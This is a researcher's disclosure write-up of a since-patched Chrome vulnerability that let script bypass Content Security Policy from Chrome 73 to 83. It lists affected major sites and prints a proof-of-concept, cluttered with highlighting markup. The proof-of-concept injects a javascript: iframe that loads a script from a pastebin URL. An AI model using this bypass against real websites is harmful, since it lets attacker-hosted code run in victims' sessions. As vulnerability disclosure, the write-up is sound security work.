CSP Bypass Vulnerability in Google Chrome Discovered – Almost Every Website In The World Was At Risk
Gal Weizman

This is the story of how I found and helped Google patch a vulnerability in Chrome browser that could have allowed attackers to fully bypass CSP rules since Chrome 73 (March 2019), and how researching it taught me that today’s CSP mechanism design is the reason no one uses CSP correctly and therefore many of the biggest websites in the world are exposed to this vulnerability.
Bypassing CSP completely can be very bad..
I was extremely surprised when I discovered this vulnerability affecting Chromium based browsers – Chrome, Opera, Edge – on Windows, Mac and Android that allowed attackers to fully bypass CSP rules on Chrome versions 73 (March 2019) through 83 (July 2020).
To better understand the magnitude of this vulnerability – the potentially impacted users are in the billions, with Chrome having over two billion users, and more than 65% of the browser market on one hand, and some of the most popular sites on the web being vulnerable to this CVE on the other hand.
Vulnerable sites included Facebook, WellsFargo, Gmail , Zoom, Tiktok, Instagram, WhatsApp, Investopedia, ESPN, Roblox, Indeed, Blogger, Quora and more.
So what was the vulnerability exactly?
Break CSP Down Completely With A One-Liner
You are more than welcome to check out the POC files as disclosed to Google Chrome project originally if you are interested in the exploit and in running it, but the following sum up should cover it mostly:
Normally, an attempt to run the following JS code will be blocked by the browser when the site’s CSP setting disallows the source or actions performed by the script:
<span class="token comment">/* this is a script that pops an alert message */</span>
top<span class="token punctuation">.</span>_CVE_URL <span class="token operator">=</span> <span class="token string">'https://pastebin.com/raw/dw5cWGK6'</span><span class="token punctuation">;</span>
<span class="token comment">/* this call will fail due to CSP */</span>
<span class="token keyword">var</span> s <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">"script"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> s<span class="token punctuation">.</span>src <span class="token operator">=</span> top<span class="token punctuation">.</span>_CVE_URL<span class="token punctuation">;</span> document<span class="token punctuation">.</span>body<span class="token punctuation">.</span><span class="token function">appendChild</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span><span class="token punctuation">;</span>
However, running the same JS code via javascript:
src of an iframe will bypass completely the configured CSP on that website:
<span class="token comment">/* this is a script that pops an alert message */</span>
top<span class="token punctuation">.</span>_CVE_URL <span class="token operator">=</span> <span class="token string">'https://pastebin.com/raw/dw5cWGK6'</span><span class="token punctuation">;</span>
<span class="token comment">/* this call will succeed although CSP */</span>
document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">'DIV'</span><span class="token punctuation">)</span><span class="token punctuation">.</span>innerHTML<span class="token operator">=</span><span class="token string">"<iframe src='javascript:var s = document.createElement("script"");s.src = ""https://pastebin.com/raw/dw5cWGK6"";document.body.appendChild(s);'></iframe>""</span><span class=""token punctuation"">;</span>